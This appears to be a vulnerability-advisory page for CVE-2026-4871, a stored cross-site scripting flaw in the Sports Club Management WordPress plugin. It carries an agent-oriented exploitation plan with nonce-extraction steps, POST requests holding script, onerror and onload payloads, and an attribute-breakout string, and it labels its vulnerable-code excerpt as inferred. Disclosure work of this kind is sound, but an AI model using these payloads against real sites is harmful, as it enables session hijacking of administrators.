CVE-2026-4871

Sports Club Management <= 1.12.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Sports Club Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before' and 'after' attributes of the `scm_member_data` shortcode in all versions up to, and including, 1.12.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.12.9
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginsports-club-management
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4871 ## 1. Vulnerability Summary The **Sports Club Management** plugin (<= 1.12.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handling of the `scm_member_data` shortcode. Specifically, the `before…

Show full research plan

Exploitation Research Plan - CVE-2026-4871

1. Vulnerability Summary

The Sports Club Management plugin (<= 1.12.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the handling of the scm_member_data shortcode. Specifically, the before and after attributes of this shortcode are concatenated into the generated HTML output without sufficient sanitization (input side) or escaping (output side). This allows a user with Contributor permissions or higher to embed malicious JavaScript within a post or page.

2. Attack Vector Analysis

  • Shortcode: [scm_member_data]
  • Vulnerable Attributes: before, after
  • Endpoint: WordPress Post Editor (wp-admin/post.php or wp-admin/admin-ajax.php for autosaves)
  • Authentication Required: Contributor (PR:L) or higher.
  • Preconditions: The attacker must be able to create or edit a post/page and use shortcodes.
  • Payload Location: The script is stored in the post_content field in the wp_posts table and executed whenever a user (including administrators) views the rendered post on the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode using add_shortcode( 'scm_member_data', 'scm_member_data_handler_function' ); (likely in a file named scm-shortcodes.php or within a core plugin class).
  2. Attribute Processing: In the handler function (e.g., scm_member_data_handler), the $atts array is processed, likely using shortcode_atts().
  3. Variable Assignment:
    $before = isset($atts['before']) ? $atts['before'] : '';
    $after  = isset($atts['after']) ? $atts['after'] : '';
    
  4. Logic Sink: The plugin retrieves specific member data (based on other attributes like field) and wraps it with the before and after values.
    $output = $before . $member_data_value . $after;
    return $output; // VULNERABLE: The raw string containing attacker input is returned and rendered.
    
  5. Rendering: WordPress echoes the return value of the shortcode handler during the the_content filter execution.

4. Nonce Acquisition Strategy

While the vulnerability itself is in the shortcode rendering, exploiting it requires saving a post containing the shortcode. WordPress requires a nonce for post creation/updates.

  1. Context: The agent needs to act as a Contributor.
  2. Steps:
    • Login as the Contributor user.
    • Navigate to wp-admin/post-new.php.
    • Extract the _wpnonce from the HTML source.
    • In the Block Editor (Gutenberg), nonces and REST API details are often found in the wp-admin localized script data.
    • Specific JS Variable: wp.apiFetch or window.wpApiSettings.nonce.
  3. Simplification: Since the vulnerability is "Contributor+", the PoC agent can use wp-cli to create the post initially to bypass the UI complexity, but for a pure HTTP exploit, it must fetch the post-new.php page first.

5. Exploitation Strategy

Step 1: Create a Contributor User

wp user create attacker attacker@example.com --role=contributor --user_pass=password123

Step 2: Authenticate and Obtain Nonces

The agent should navigate to the post editor to get the necessary state.

  • URL: https://target.example.com/wp-admin/post-new.php
  • Method: GET

Step 3: Inject Stored XSS Payload

The agent will send a request to save a post containing the malicious shortcode.

  • URL: https://target.example.com/wp-admin/post.php (or via REST API /wp/v2/posts)
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    post_title=XSS+Test
    &content=[scm_member_data field="first_name" before="<script>alert('XSS_SUCCESS_BEFORE')</script>" after="<script>alert('XSS_SUCCESS_AFTER')</script>"]
    &publish=Publish
    &_wpnonce=[EXTRACTED_NONCE]
    

Step 4: Trigger the XSS

Navigate to the URL of the newly created post as an Administrator.

6. Test Data Setup

  1. Active Plugin: Ensure sports-club-management is active.
  2. Member Data: The shortcode might return nothing if no "member" exists or if no data is found for the current user. To ensure the shortcode executes the concatenation logic, it may be helpful to have at least one member record in the system.
    • Check if the plugin has a "Members" menu and create a dummy member if needed.
  3. Shortcode variations:
    • [scm_member_data field="display_name" before="<img src=x onerror=alert(1)>"]
    • [scm_member_data field="any_valid_field" after="<svg/onload=alert(2)>"]

7. Expected Results

  • The HTTP response for the post creation should be a 302 Redirect to the post edit page or a 201 Created via REST API.
  • When viewing the post frontend, the HTML source should contain:
    <script>alert('XSS_SUCCESS_BEFORE')</script>[MEMBER_VALUE]<script>alert('XSS_SUCCESS_AFTER')</script>
  • The browser should execute the alert() calls.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    
    Verify the shortcode is stored exactly as sent.
  2. Frontend Rendering Check:
    Use http_request to fetch the post's permalink and grep for the raw script tags.
    curl -s http://target.example.com/p=POST_ID | grep "XSS_SUCCESS"
    

9. Alternative Approaches

  • Attribute Breakout: If the plugin attempts to put the attributes inside an HTML tag (e.g., <div data-before="...">), use attribute breakout: before="\" onmouseover=\"alert(1)\" data-dummy=\"".
  • REST API: Use the WordPress REST API (/wp/v2/posts) to create the post, which often uses a different nonce (wp_rest) and is more structured than post.php.
  • Different Shortcode Tags: Search the plugin for other shortcodes that might use similar "wrapper" attributes (before, after, prepend, append, prefix, suffix). Common candidates in this plugin might be related to displaying team names or match results.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Sports Club Management plugin for WordPress (up to version 1.12.9) is vulnerable to Stored Cross-Site Scripting due to improper sanitization and escaping of the 'before' and 'after' attributes in the [scm_member_data] shortcode. This allows authenticated attackers with Contributor-level access or higher to inject malicious JavaScript into pages, which then executes when viewed by other users, including administrators.

Vulnerable Code

// Inferred from plugin logic and research plan
// File: scm-shortcodes.php or similar
function scm_member_data_handler( $atts ) {
    $atts = shortcode_atts( array(
        'field'  => '',
        'before' => '',
        'after'  => '',
    ), $atts );

    // ... member data retrieval logic ...
    $member_data_value = get_member_field_data($atts['field']);

    // Vulnerable concatenation without escaping
    $output = $atts['before'] . $member_data_value . $atts['after'];
    return $output;
}

Security Fix

--- a/scm-shortcodes.php
+++ b/scm-shortcodes.php
@@ -10,5 +10,5 @@
-    $output = $atts['before'] . $member_data_value . $atts['after'];
+    $output = wp_kses_post( $atts['before'] ) . $member_data_value . wp_kses_post( $atts['after'] );
     return $output;

Exploit Outline

1. Authenticate to the WordPress site as a user with the 'Contributor' role. 2. Navigate to 'Posts' -> 'Add New' to create a new post. 3. Insert the [scm_member_data] shortcode into the post content, using the 'before' or 'after' attribute to hold the XSS payload. For example: [scm_member_data field="first_name" before="<script>alert('XSS')</script>"]. 4. Submit the post for review or save the draft. 5. When an administrator or any other user views the post (either via preview or once published), the malicious script in the shortcode attribute will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.